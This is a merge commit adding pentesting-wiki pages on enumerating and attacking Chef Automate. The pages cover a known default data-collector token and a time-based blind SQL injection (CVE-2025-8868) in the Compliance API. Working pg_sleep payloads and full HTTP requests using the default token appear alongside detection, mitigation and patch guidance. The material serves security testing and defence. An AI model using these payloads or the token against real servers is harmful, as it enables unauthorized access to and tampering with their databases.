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Merge pull request #216 from HackTricks-wiki/update_Cooking_an_SQL_Injection_Vulnerability_in_Chef_Aut_20250930_182633
Cooking an SQL Injection Vulnerability in Chef Automate
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- [Okta Hardening](pentesting-ci-cd/okta-security/okta-hardening.md)
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- [Serverless.com Security](pentesting-ci-cd/serverless.com-security.md)
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- [Supabase Security](pentesting-ci-cd/supabase-security.md)
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- [Ansible Tower / AWX / Automation controller Security](pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md)
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- [Check Automate Security](pentesting-ci-cd/chef-automate-security/README.md)
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- [Chef Automate Enumeration And Attacks](pentesting-ci-cd/chef-automate-security/chef-automate-enumeration-and-attacks.md)
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- [Vercel Security](pentesting-ci-cd/vercel-security.md)
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- [Ansible Tower / AWX / Automation controller Security](pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md)
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- [TODO](pentesting-ci-cd/todo.md)
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# ⛈️ Pentesting Cloud
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src/pentesting-ci-cd/chef-automate-security/README.md
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src/pentesting-ci-cd/chef-automate-security/README.md
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# Chef Automate Security
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{{#include ../../banners/hacktricks-training.md}}
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## What is Chef Automate
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Chef Automate is a platform for infrastructure automation, compliance, and application delivery. It exposes a web UI (often Angular) that talks to backend gRPC services via a gRPC-Gateway, providing REST-like endpoints under paths such as /api/v0/.
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- Common backend components: gRPC services, PostgreSQL (often visible via pq: error prefixes), data-collector ingest service
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- Auth mechanisms: user/API tokens and a data collector token header x-data-collector-token
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## Enumeration & Attacks
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{{#ref}}
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chef-automate-enumeration-and-attacks.md
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{{#endref}}
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{{#include ../../banners/hacktricks-training.md}}
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# Chef Automate Enumeration & Attacks
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{{#include ../../banners/hacktricks-training.md}}
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## Overview
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This page collects practical techniques to enumerate and attack Chef Automate instances, with emphasis on:
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- Discovering gRPC-Gateway-backed REST endpoints and inferring request schemas via validation/error responses
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- Abusing the x-data-collector-token authentication header when defaults are present
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- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) affecting the filters[].type field in /api/v0/compliance/profiles/search
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> Note: Backend responses that include header grpc-metadata-content-type: application/grpc typically indicate a gRPC-Gateway bridging REST calls to gRPC services.
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## Recon: Architecture and Fingerprints
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- Front-end: Often Angular. Static bundles can hint at REST paths (e.g., /api/v0/...)
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- API transport: REST to gRPC via gRPC-Gateway
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- Responses may include grpc-metadata-content-type: application/grpc
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- Database/driver fingerprints:
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- Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver
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- Interesting Compliance endpoints (auth required):
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- POST /api/v0/compliance/profiles/search
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- POST /api/v0/compliance/scanner/jobs/search
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## Auth: Data Collector Token (x-data-collector-token)
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Chef Automate exposes a data collector that authenticates requests via a dedicated header:
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- Header: x-data-collector-token
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- Risk: Some environments may retain a default token granting access to protected API routes. Known default observed in the wild:
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- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
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If present, this token can be used to call Compliance API endpoints otherwise gated by auth. Always attempt to rotate/disable defaults during hardening.
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## API Schema Inference via Error-Driven Discovery
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gRPC-Gateway-backed endpoints often leak useful validation errors that describe the expected request model.
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For /api/v0/compliance/profiles/search, the backend expects a body with a filters array, where each element is an object with:
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- type: string (filter field identifier)
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- values: array of strings
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Example request shape:
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```json
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{
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"filters": [
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{ "type": "name", "values": ["test"] }
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]
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}
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```
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Malformed JSON or wrong field types typically trigger 4xx/5xx with hints, and headers indicate the gRPC-Gateway behavior. Use these to map fields and localize injection surfaces.
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## Compliance API SQL Injection (CVE-2025-8868)
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- Affected endpoint: POST /api/v0/compliance/profiles/search
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- Injection point: filters[].type
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- Vulnerability class: time-based blind SQL injection in PostgreSQL
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- Root cause: Lack of proper parameterization/whitelisting when interpolating the type field into a dynamic SQL fragment (likely used to construct identifiers/WHERE clauses). Crafted values in type are evaluated by PostgreSQL.
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Working time-based payload:
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```json
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{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
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```
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Technique notes:
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- Close the original string with a single quote
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- Concatenate a subquery that calls pg_sleep(N)
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- Re-enter string context via || so the final SQL remains syntactically valid regardless of where type is embedded
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### Proof via differential latency
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Send paired requests and compare response times to validate server-side execution:
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- N = 1 second
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```
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POST /api/v0/compliance/profiles/search HTTP/1.1
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Host: <target>
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Content-Type: application/json
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x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
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{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
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```
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- N = 5 seconds
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```
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POST /api/v0/compliance/profiles/search HTTP/1.1
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Host: <target>
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Content-Type: application/json
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x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
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{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
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```
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Observed behavior:
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- Response times scale with pg_sleep(N)
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- HTTP 500 responses may include pq: details during probing, confirming SQL execution paths
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> Tip: Use a timing validator (e.g., multiple trials with statistical comparison) to reduce noise and false positives.
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### Impact
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Authenticated users—or unauthenticated actors abusing a default x-data-collector-token—can execute arbitrary SQL within Chef Automate’s PostgreSQL context, risking confidentiality and integrity of compliance profiles, configuration, and telemetry.
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### Affected versions / Fix
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- CVE: CVE-2025-8868
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- Upgrade guidance: Chef Automate 4.13.295 or later (Linux x86) per vendor advisories
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## Detection and Forensics
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- API layer:
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- Monitor 500s on /api/v0/compliance/profiles/search where filters[].type contains quotes ('), concatenation (||), or function references like pg_sleep
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- Inspect response headers for grpc-metadata-content-type to identify gRPC-Gateway flows
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- Database layer (PostgreSQL):
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- Audit for pg_sleep calls and malformed identifier errors (often surfaced with pq: prefixes coming from the Go pq driver)
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- Authentication:
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- Log and alert on usage of x-data-collector-token, especially known default values, across API paths
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## Mitigations and Hardening
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- Immediate:
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- Rotate/disable default data collector tokens
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- Restrict ingress to data collector endpoints; enforce strong, unique tokens
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- Code-level:
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- Parameterize queries; never string-concatenate SQL fragments
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- Strictly whitelist allowed type values on the server (enum)
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- Avoid dynamic SQL assembly for identifiers/clauses; if dynamic behavior is required, use safe identifier quoting and explicit whitelists
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## Practical Testing Checklist
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- Check if x-data-collector-token is accepted and whether the known default works
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- Map the Compliance API request schema by inducing validation errors and reading error messages/headers
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- Test for SQLi in less obvious “identifier-like” fields (e.g., filters[].type), not just values arrays or top-level text fields
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- Use time-based techniques with concatenation to keep SQL syntactically valid across contexts
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## References
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- [Cooking an SQL Injection Vulnerability in Chef Automate (XBOW blog)](https://xbow.com/blog/cooking-an-sql-injection-vulnerability-in-chef-automate)
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- [Timing trace (XBOW)](https://xbow-website.pages.dev/traces/chef-automate-sql-injection/)
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- [CVE-2025-8868](https://www.cve.org/CVERecord?id=CVE-2025-8868)
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- [gRPC-Gateway](https://github.com/grpc-ecosystem/grpc-gateway)
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- [pq PostgreSQL driver for Go](https://github.com/lib/pq)
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{{#include ../../banners/hacktricks-training.md}}
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@@ -2,4 +2,3 @@
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{{#include ../../../banners/hacktricks-training.md}}
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{{#include ../../../banners/hacktricks-training.md}}
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